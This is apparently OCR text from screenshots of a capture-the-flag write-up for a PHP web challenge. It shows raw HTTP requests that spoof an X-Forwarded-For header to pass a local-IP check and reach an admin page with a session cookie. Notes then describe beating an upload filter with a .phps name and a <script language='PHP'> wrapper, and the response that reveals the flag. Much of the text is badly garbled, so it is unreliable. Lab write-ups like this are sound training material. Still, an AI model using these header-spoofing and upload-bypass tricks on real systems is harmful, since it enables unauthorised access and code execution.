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POST findex. php?module=findpwdistep=2&doSubnit=ves HITP/1.1

Host: 111.198.28. 45: 45141

User—Agent: Mozilla/5.0 (Windows NT 10.0; Winf4; =64: 1v:69.0) Gecko/20100101 Firefox/69.0
Accept: text/himl, application/zhtml+zml, application/=ml;q=0.9, */*;q=0.8
Accept-Language: zh-CHN, zh;q=0. 8, zh—TW;q=0. 7, zh—HK ; q=0. 5, en-U5; q=0. 3, en; q=0. 2
Accept—Encoding: gzip., deflate

Content—Type: application/z—www—form—urlencoded

Content-Length: 30

Comnection: keep—alive

Referer: http://111.198.29. 45: 45141/ index. php?modul e=f indpwd&step=1&doSubmit=ves
Coolie: PHPSESSID=qrl1711492c3ogftlpljrhengld

Upgrade-Insecure-Requests: 1
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X-Forwarded-For: 127.0.0.1

Request

_[RawI Params T Headers I Hex ]

GET /index. php?module=admin HITP/1.1

Host: 111.198.29.45: 45141

User—Agent: Mozilla/5.0 (Windows NT 10.0; Win64; =64; 1v:69.0) Gecko/20100101 Firefox/69.0
Accept: text/html, application/zhtml4zml, application/zml;q=0.9, */ % g=0.3
Accept-Language: zh—CHN, zh;q=0. 8, zh—TW; q=0. 7, zh—HK ; g=0. 5, en-US ; ¢=0. 3, en; q=0. 2
Accept—Encoding: gzip. deflate

Comnection: keep—alive

Referer: http://111.198. 29, 45: 45141/ index. php

X-Forwarded-For: 127.0.0.1

Cookie: PHPSESSID=qrl1711492c3og9tipbjrfeogi3; user=4b9987ccafach8dEfcl8d2ZbbeaTiTha
Upegrade-Insecure-Requests: 1
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Where Is The Flag?

BERFER, AEREHTML, FHETR

<IDOCTYPE hitml>
<html lang="en">»
b <head> (= </head>
P <style type="text/css"» =</ /styles
b <div class="wbox"> =< /div>
<!--index.php?module=filemanage&do=227?-->
<loooon
</body>
</html>
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B url
http://111.198.29.45:45141/index.php?module=filemanage&do=upload
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#7~You know what | want !

You know what | want!
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#7~Someting shows itis a php!

Something shows it is a php!
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#7R: ltis nota really php file!

It is not a really php file
[ 5tiF3RE 111.198.29.45 EHEEHEHEHRER
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B EREE, RAKEN:
1. X 5% 4 & ZE A phps
2. 3N ER <script language='PHP'>a</script> 1fi A F phpts &

HTTP/1.1 200 OK

Date: Thu, 03 Oct 2019 13:17:01 GMT
Server: Apache/Z2. 4.7 (Ubuntu)
X-Powered-Bv: PHP/5. 5. 9-1lubuntud. 26
Expires: Thu. 19 Nov 1981 08:32:00 GMT
Cache—Contrel: neo—store. no—cache, must-revalidate. post—check=0, pre-check=0
Fragma: no-cache

Varv: Accept-Encoding

Content-Length: 287

Keep—Alive: timeout=5, max=100
Comnection: Eeep—Alive

Content—Type: text/html

<'DOCTYFE html>
<html>
<head>
“title:Message</title>
<meta charset="UTF-8" />
</head>
<hody>
<scriptralert (" vou have get peoints,here is the
flag: cyberpeace {10e36fa07749d686f4ab62325d2ffd21} 7 ) ; </scriptr<scriptiwindow. location. href=" index. php” </script></hody>
</ltml>
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